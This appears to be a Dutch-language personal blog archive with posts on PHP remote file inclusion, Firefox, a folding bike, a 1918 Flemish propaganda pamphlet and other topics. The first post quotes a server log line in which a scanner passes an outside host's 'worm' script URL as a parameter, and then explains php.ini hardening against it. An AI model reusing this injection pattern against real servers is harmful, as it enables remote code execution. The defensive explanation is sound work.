Nodig eens een script kiddie uit

Ha, script kiddies, onzekere puistenkopjes die onze servers onveilig maken met scriptjes die web-sites en -applicaties automatisch scannen op gaatjes en die direct in de aanval gaan als ze zo een gaatje vinden! In mijn logfiles vind ik veel requests van zo’n scripts, bijvoorbeeld:

84.234.71.216 – – [28/Nov/2007:20:49:01 +0100] “GET /index.php?action=http://www.raphael.brasilhost.org/worm/safeon.txt?? HTTP/1.1” 200 22686 “-” “libwww-perl/5.79”

Deze scanner probeert een tekortkoming in één of ander PHP-pakket te exploiteren om vijandige code uit te laten voeren. Je zou misschien verwachten dat die index.php dat niet zomaar toelaat, door o.a. de variabele ‘action’ zelf te initialiseren en te controleren of de inhoud ervan aanvaardbaar is vooraleer die te gebruiken in een include, maar sommige php-developers houden niet genoeg rekening met de kracht van commando’s als fopen, include(_once) en require(_once).
Want in dat gevaarlijke PHP kun je met fopen inderdaad ook remote files openen, handig om bv. rss-feeds te verwerken. Als het externe bestand echter php-code bevat, dan kan de inhoud van die textfile daarna met behulp van eval ook uitgevoerd worden op jouw server. En als je het externe bestand met include of require binnenhaalt, is die tweede stap zelfs niet nodig. Code-injectie dus en geloof me, dat is zelden de bedoeling. ‘Remote code execution’ staat dan ook niet voor niets op de eerste plaats in Owasps PHP top 5 security issues.
Wilt dat zeggen dat je als modale gebruiker dan volledig van het security-bewustzijn van de programmeurs afhangt? Ja eigenlijk, maar in dit geval toch “ja, maar”. Want wie toegang heeft tot php.ini, kan daar allow_url_fopen op false zetten om het binnenhalen van remote files met commando’s uit de fopen-familie onmogelijk te maken. Als je versie van PHP 5.2 of hoger is, kun je ook specifiek allow_url_include op false zetten om enkel het automatisch uitvoeren van code in externe bestanden met include en require te verhinderen. En terwijl je dan toch in je php.ini zit te foefelen, kun je direct ook even controleren of register_globals wel op Off staat, want bovenstaande ‘automated hack attack’ gaat er ook van uit dat die setting lekker ouderwets op “On” staat.

Over internet en development, en waarom ik er zo goed in ben!

Het is toch straf dat de web-bozo’s van één van Europa’s grootste IT-services bedrijven weer eens moeten toegeven dat guru Goossens toch gelijk heeft?

“Jaja, cross-domain Ajax dat kan, de nieuwe DWR maakt dat immers
allemaal perfect mogelijk.”

Toen ze me dat een paar maand geleden antwoordden, lachte ik minzaam en besloot rustig af te wachten. Want als ze mijn recept niet moeten, dan lijden ze maar honger. ‘t Is toch waar zeker? Want ik wist dat ze vroeg of laat toch tot het besef zouden komen dat dat inderdaad niet werkt. Security warnings all over the place. En dan “Het ligt aan de browsers” roepen, ja, tarara!
Het is alleen spijtig dat ze pas enkele dagen voor de release tot die conclusie komen, het zou de multinational in kwestie heel wat geld en kopzorgen bewaard hebben als ze vroeger naar mijn onbetaalbaar advies hadden geluisterd.
Enne, als voetnoot; met een iframe gaan klooien is écht geen proper alternatief jongens!
(Met dank aan meester- marketeer entertainer Steven Feys)

Terug op de vouwfiets!

vero = cheapo dahon vouwfietsHet heeft even geduurd, maar ik vouwfiets sinds vorige week dinsdag opnieuw vrolijk door Brussel. In tegenstelling tot wat de aficionados me aanraadden, ben ik niet voor een Brompton gegaan. En een Birdy, da’s al helemaal out of my league.
Nee, ik heb voor de goedkoop gekozen; een Dahon Roo D7 die dan nog eens onder vreemde vlag vaart. Met mijn Vero (afkorting van de naam van de groothandelaar die zich een container van die merkloze Dahons heeft gekocht) heb ik een splinternieuwe vouwfiets die echt wel ongelofelijk goed bolt voor minder dan 400 euro. Het versnellingsapparaat schakelt als boter en het in hoogte verstelbaar stuur is ook handig. Als ik de bouw van de oude Dahon en de nieuwe Vero (Dahon) vergelijk, valt ook op dat het scharnier van de stuurstang er nu veel degelijker uitziet. En een nieuwe fiets, dat betekent garantie; 2 jaar op de fiets en zelfs 10 jaar op de kader. Dat het echt niet fout kan gaan, toch? Ik zal eens zwaaien als ik U voorbijzoef op uw stevige gietijzeren Brompton! 😉

Plechtig Welkomstwoord

Ge ziet het, ge ruikt het; hier is keihard getimmerd, geverfd en behangen. Welkom in mijn verse blogthuis dus!
Voor de techies onder U snel wat gegevens:

Alles ziet er op het eerste zicht OK uit peins ik, maar als ge toch fouten ziet of denkt dat dat echt beter moet kunnen, dan lees ik het graag in de comments of in een mailtje!

Met de staart trots in de lucht

MetaTale widgetDat ik een onwaarschijnlijke 17 (op 25) haal op de Metatale-schaal van blogzaamheid! Nu gij! De score van je eigen of andermans blog kun je overigens zelf op deze Metatale-pagina laten berekenen.
Metatale (verhaal en niet staart dus, maar dat laatste paste beter voor een catchy titel) kwantificeert eigenlijk de “invloed” van een blog. Hoe hoger de score, hoe invloedrijker. Over de alchemie en raketwetenschap die achter de oneindig complexe Metatale-logaritmen zit, was tot op de dag van vandaag echter weinig geweten. Ik heb dan ook geen idee waar ik die 17 aan verdiend heb (“invloedrijk, moi?”), maar het is een pracht-formule, dat spreekt voor zich! 😉
Na de eerste euforie over mijn nooit-gedacht-maar-toch-gekomen “17”, vroeg ik me in de loop van deze middag steeds zenuwachtiger handenwringend af of ik nu ook in die magische Metatale Top100 zou komen. Tot iets voor 16h iedereen aan de Reyerslaan opschrok van mijn wilde overwinningsdans; ik ben immers … 47ste! Nu nog zien hoe ik die vervelende lama van haar 31ste plaats kan stoten.
Update: zoals Bart aangeeft, meer info over het algoritme op http://www.ondernemeringent.be. Ook leuk: mede-geekdinner-geeks Serge en Elise staan ook in de top100! Ik ben nog nooit op die geekdinners geweest, maar als ik kom, dan drinken we er enen op eh?
Nog een update: vreemd dat onze webwerkers, waar de laatste post van 11 juni dateert, ook een 17 krijgt en in de top 100 (op 94) staat …

Firefox 3 beta 1, nu gratis te downloaden!

Jaja, Firefox is altijd gratis, maar dit postje moet nu eenmaal een titel en die mag al eens een wenkbrauw doen fronsen, toch? Het is voor de rest immers niet echt groot nieuws, mensen die nog op browsers kicken zijn eergisteren al luid schreeuwend klaargekomen. Maar Firefox 3 is dus inderdaad in Beta.
Ik citeer de Mozilla Developer Center-blog snel even om de belangrijkste nieuwe features op te lijsten:

  • Improved security features such as: better presentation of website identity and security, malware protection, stricter SSL error pages, anti-virus integration in the download manager, and version checking for insecure plugins.
  • Improved ease of use through: better password management, easier add-on installation, new download manager with resumable downloading, full page zoom, animated tab strip, and better integration with Windows Vista and Mac OS X.
  • Richer personalization through: one-click bookmarking, smart search bookmark folders, direct typing in location bar searches your history and bookmarks for URLs and page titles, ability to register web applications as protocol handlers, and better customization of download actions for file types.
  • Improved platform features such as: new graphics and font rendering architecture, major changes to the HTML rendering engine to provide better CSS, float-, and table layout support, native web page form controls, colour profile management, and offline application support.
  • Performance improvements such as: better data reliability for user profiles, architectural improvements to speed up page rendering, over 300 memory leak fixes, and a new XPCOM cycle collector to reduce entire classes of leaks.

Ziet er goed uit, zeker de 2 laatste puntjes. “Get the basics right”, leerde ik op het werk tijdens brainstorm-sessions, is immers de absolute voorwaarde om customer experience te verbeteren en daar zijn de Mozilla developers dus blijkbaar ook mee bezig. Meer info in de release-notes, waar overigens ook het volgende staat:

“Please note that installing Firefox 3 Beta 1 will overwrite your
existing installation of Firefox.”

En dan vraag ik me onwillekeurig af of ik dat wel wil, zo een wild beta-veulen dat mijn trusty FF2-knol komt buitenschoppen? Of zou apart installeren toch lukken, als ik zelf een alternatief installatie-pad opgeef? En als ik FF3 dan opstart met een vers profiel en ik in FF2 mijn oud profiel blijf gebruiken? Hmmm …

Blijf eraf, ‘t zijn mijn kiwi’s!

kiwi-angstDat was schrikken, afgelopen weekend! Van wat er op die foto hiernaast staat, bedoel ik. Ik ging zaterdagavond met mijn vrouwtje naar een leuke Nederlandse film (aanrader voor wie niet vies is van een lach, een traan en wat romantiek) in de Metropolis in Antwerpen. Voor de voorstelling begon, wilde ik snel de urinoirs nog even inspecteren, kwestie van me daarna met een geruste blaas in het rode pluche te kunnen laten wegzakken. Terwijl ik de natuur haar werk liet doen, keek ik wat om me heen en toen zag ik die affiche dus hangen: 2 Kiwi’s … vreemd. Scheren? Kiwi’s? Huh? Mijn kiwi’s?? Eeeeeeeeeeks!!!
Ge begrijpt het, deze tongue-in-cheeck reclame was voor de Philips Bodygroom waarmee ge onder andere uw … hoe zegt ge dat … teelballen kunt scheren. De Hollandse mafketels (of is het de schuld van de Amerikaanse marketeers?) hebben zelfs een campagne-site waarop indien mogelijk nog tongue-in-cheeker wordt uitgelegd op welke plaatsen een man zich zoal hoort te scheren om mee te zijn met de laatste lichaamshaar-mode. Het antwoord: overal! Geen haartje mag er blijven staan, nergens! Behalve op uw hoofd natuurlijk, daar hoort het weelderig te groeien, dik en donker en viriel, zo zijn ze wel! Slecht nieuws voor het wollig tapijtje op mijn linker schouderblad, voor de donshaartjes op mijn stoere ribbenkast, voor de krulletjes op … Soit, ge hoort me al afkomen, van mijn fruit blijven ze af met hun hyper-hygiënisch gelul. Laat dat haar maar groeien, dat hangt, staat en krult daar goed! Want voor die optical inch, daar moeten we het toch niet voor doen. Nèm!

“Waarom” een Vlaamse viral uit 1918 nu in uw mailbox valt

waarom coverEnkele dagen geleden kreeg ik van mijn vader, met wie ik al eens graag over politiek praat, een interessante mail met attachment. “Geen grap”, titelde hij, “maar een fotokopie van een boekje uitgegeven in 1918”. De Powerpoint slideshow in bijlage bevat inderdaad de scans van “Waarom”, een 32 pagina’s tellend pamflet uit 1918 van Claudius Severus.
Het propagandistisch boekje doet, bijna 90 jaar na uitgave, via e-mail zijn ronde als ware het een hippe virale campagne. Op het wilde wereldweb wordt het aangeraden, om “leeghoofdige BV-ers, die wat uit hun nek komen lullen over Red de solidariteit een lesje [te] leren in “Vaderlandskunde” of om “voortdurende onwaarheden [over] het onrecht [dat] Vlaanderen wordt aangedaan […] sinds het ontstaan van België […] met harde bewijzen uit de wereld te helpen“.
Waarom gewikt en gewogen
In de publicatie somt schrijver Claudius Severus zijn grieven op met

“[…] de Belgische regeering [die] de bewerker van [is het feit dat er] in geheel Europa geen volk te vinden is dat zoo laag staat onder geestelijk en zedelijk opzicht als het Vlaamse.”

Op de pagina’s die volgen vergelijkt Severus de toestand in Vlaanderen en Wallonië aan de hand van heel wat cijfermateriaal. Dat Vlaanderen er volgens die gegevens in vergelijking met Franstalig België niet goed van af komt, spreekt voor zich. Het valt wel op dat de vergelijking nu eens regionaal, dan weer provinciaal en soms ook lokaal gemaakt worden. De cijfers lijken dan ook met de hand geselecteerd, met als enige doel om een stelling te onderbouwen. Wat waren Severus bronnen? Die staan niet vermeld. Maar of al de nummertjes zelf wel kloppen? Geen idee, dat is zonder bronvermelding en toegang tot heel wat cijfergegevens over België in het begin van de 20ste eeuw niet eenvoudig te verifiëren. Feit is dat “Waarom” propaganda is, geen wetenschappelijk onderzoek.
Historische context
Maar misschien kan de historische context ons iets leren? “Waarom” werd uitgegeven in de Lente van 1918 (cfr. voorpagina). Enkele belangrijke data om de tijdsgeest te schetsen:

  • op 24 oktober 1916 heropent de Duitse bezetter de Gentse universiteit, met Nederlands als voertaal
  • op 4 februari 1917 wordt de “Raad van Vlaanderen” opgericht door extremere (Jong Vlaanderen) en gematigder activisten (de zgn. unionisten).
  • op 3 maart 1917 onderhandelt de “Raad van Vlaanderen” met de Duitse bezetter over onafhankelijkheid voor Vlaanderen.
  • op 21 maart 1917 voert de Duitse bezetter de bestuurlijke scheiding van Vlaanderen en Wallonië in
  • op 22 december 1917 roept de Raad van Vlaanderen de Vlaamse onafhankelijkheid uit. Verschillende bronnen stellen dat het enthousiasme hierover bij de bevolking beperkt was.
  • Op 5 januari 1918 stelt de Raad van Vlaanderen uit haar midden een “Commissie van Gevolmachtigden” samen die de rol van Vlaamse regering op zich neemt.
  • Begin 1918 wordt de 1ste Raad van Vlaanderen op vraag van de Duitse bezetter ontbonden en worden er verkiezingen uitgeschreven voor samenstelling van het orgaan. Aan die verkiezingen (januari tot maart 1918) doen nemen slechts 50.000 kiezers deel.
  • op 25 juli 1918 wordt de Raad van Vlaanderen en de jonge Vlaamse Staat opgeheven door de Duitse bezetter
  • op 11 november 1918 capituleert Duitsland en is de bezetting afgelopen

De datering van het pamflet van Severus impliceert dus dat het werd uitgegeven tijdens de periode van Vlaamse “onafhankelijkheid”, vermoedelijk na de verkiezing van de 2de Raad van Vlaanderen. Dit lijkt bevestigd te worden in de conclusie van het pamflet, op p. 28:

“Dit was uw lot gedurende 85 jaar, Vlaamsche volk, geen vernedering die U gespaard bleef […]. Maar hun rijk is uit, we hebben het gezworen, Vlaanderen is zijn eigen meester. Jong-Vlaanderen is geboren! Zie het oprijzen uit zijne puinen!”

Wie zat achter “Claudius Severus”?
En wie waren de organisaties en mensen achter dit pamflet? Uit de lijst met namen op de voorlaatste pagina vallen onder andere Jong Vlaanderen, Karel Borms, Pieter Tack en Jan Derk Domela Nieuwenhuis Nyegaard op. Jong Vlaanderen was één van de belangrijkste bewegingen in het activisme en was instrumenteel in de oprichting van de Raad van Vlaanderen. Borms (broer van August Borms die in de Raad van Vlaanderen en de Commissie van Gevolmachtigden zetelde), Tack (die mee in de Raad van Vlaanderen zetelde toen die de onafhankelijkheid uitriep en die voorzitter van de Commissie van Gevolmachtigden was) en Domela Nieuwenhuis Nyegaard (Nederlandse dominee, orangist en voorzitter van Jong Vlaanderen) waren vooraanstaande activisten. Claudius Severus zou de nom de plume van Lodewijk Severijns zijn, die ook in de colofon op de laatste pagina vermeld staat.
Daarom?
“Waarom” is samengevat dus politieke propaganda van Vlaamse activisten die daarmee de steun van de bevolking leken te zoeken voor het onder de Duitse bezetting onafhankelijk verklaard Vlaanderen, enkele maanden voordat diezelfde Duitse bezetter de stekker er terug uittrok. Ik weet niet wat dat voor U betekent, maar dat plaatst dit vlugschrift voor mij toch in een heel ander daglicht.
De twijfelachtige betrouwbaarheid van “Waarom” doet echter niets af aan de onbetwistbare achterstelling van Vlamingen begin 20ste eeuw. De strijd die sindsdien bijzonder succesvol is gestreden door gematigder Vlaamse politici, heeft echter zijn vruchten afgeworpen. De staatshervorming is misschien nog niet afgewerkt, maar Vlaanderen is een bijzonder welvarende regio, met eigen politieke organen en nu al verregaande autonomie. Dat Vlaanderen nog steeds binnen de Belgische constructie zit, is sommige Vlaamse-Nationalisten (denk NV-A en Vlaams Belang) een doorn in het oog (mij niet, dat is U ondertussen wel duidelijk veronderstel ik). Op die manier vinden ze aansluiting bij de activisten van Jong Vlaanderen die achter “Waarom” zaten. Maar of ze er goed aan doen zich te beroepen op door (politiek) collaborerende extremisten geschreven christelijk-conservatieve propaganda van tijdens de Eerste Wereldoorlog, dat is een andere vraag.
P.S.: Ik ben geen historicus, dus als U in bovenstaande feitelijke fouten ziet staan, dan is uw feedback zeker welkom (in de commentaren of via het contact-formulier)!

And now, some vintage glam rock!

Net gevonden op YouTube: “Children of the Revolution” van Marc Bolan met zijn groep T-Rex, bijgestaan door Elton John en Ringo Starr:

Marc Bolan & T Rex - Children Of The Revolution

“I drive a rolls royce” zingt Bolan hier, maar man reed eigenlijk niet en had zelfs geen rijbewijs, volgens Wikipedia omdat hij schrik had om jong in een auto-ongeval te sterven. De ironie wilt dat hij in 1977 toch overleed toen de wagen waarin hij als passagier meereed, uit de bocht ging en tegen een boom knalde.
20th Century Boy” en “Get it on” mogen er ook wel zijn, overigens! En dat we nog veel moge glitteren!

Uw Firefox hoeft niet te crashen!

In tegenstelling tot wat sommige fan-boys beweren, is Firefox niet “the best thing since sliced bread“. Akkoord, het is een goeie browser en het succes van Mozilla heeft leven in de browser-brouwerij geschopt, maar het is niet al rozengeur en maneschijn. Firefox durft na verloop van tijd al eens flink wat geheugen vreten en ja, we moeten eerlijk zijn, soms crasht de boel ook grondig, zoals sommige blogposts ook bewijzen.
Het goede nieuws: ge kunt daar dus echt iets aan doen! Streng zijn op welke plugins ge installeert helpt U bijvoorbeeld al een goed eind op weg. Kijk eens op de lijst met “Problematic extensions” op de MozillaZine Knowlegde Base. Een minimaal aantal plugins (want hoeveel van die bling gebruikt ge echt?) en ge zijt al een stap dichter bij een echt stabiele browser.
En als de historiek van al die plugins, al die Firefox-versies en al die configuratie-wijzigingen uw browser duidelijk te veel is geworden, misschien moet ge dan eens met een schone lei (ook wel ‘nieuw profiel’) aan de slag gaan? Op deze pagina leest ge hoe ge een nieuw profiel aanmaakt en uw data mee verhuist (alhoewel ik prefs.js nu niet persé mee zou migreren).